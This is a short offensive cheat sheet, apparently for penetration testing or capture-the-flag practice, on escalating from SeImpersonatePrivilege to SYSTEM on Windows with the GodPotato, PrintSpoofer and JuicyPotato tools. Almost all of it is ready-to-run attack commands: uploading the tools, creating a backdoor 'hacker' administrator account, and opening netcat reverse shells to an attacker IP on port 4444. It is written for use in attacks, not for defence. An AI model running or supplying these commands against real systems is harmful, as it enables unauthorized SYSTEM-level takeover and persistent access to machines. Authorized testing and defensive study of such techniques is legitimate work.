SeImpersonatePrivilege → Potato Attack Chain

reference 8 commands

If whoami /priv shows SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege as Enabled → you have a near-guaranteed path to SYSTEM.

Check

whoami /priv | findstr /i "Impersonate\|AssignPrimary"

Output: SeImpersonatePrivilege Impersonate a client after authentication Enabled

GodPotato (Modern · Works on Windows Server 2012-2022 and Win 8-11)

Upload GodPotato.exe to target

From evil-winrm: upload /kali/GodPotato.exe

Execute command as SYSTEM

.\GodPotato.exe -cmd "whoami"

.\GodPotato.exe -cmd "net user hacker Hacker123! /add"

.\GodPotato.exe -cmd "net localgroup administrators hacker /add"

Reverse shell

.\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <YOUR-IP> 4444 -e cmd.exe"

PrintSpoofer (Windows 10 / Server 2019)

Upload PrintSpoofer.exe

.\PrintSpoofer.exe -i -c cmd         # Interactive SYSTEM cmd

.\PrintSpoofer.exe -c "C:\Windows\Temp\nc.exe <YOUR-IP> 4444 -e cmd.exe"

JuicyPotato (Windows Server 2016, 2012, Win 7-10 · older boxes)

Requires: SeImpersonatePrivilege + CLSID for target OS

Upload JuicyPotato.exe and nc.exe

.\JuicyPotato.exe -l 1337 -p C:\Windows\Temp\nc.exe \
  -a "<YOUR-IP> 4444 -e cmd.exe" -t * \
  -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

CLSIDs by OS: ohpe.it

If Potatoes fail

Check OS version. Server 2019+ may need GodPotato. Try all three before moving on.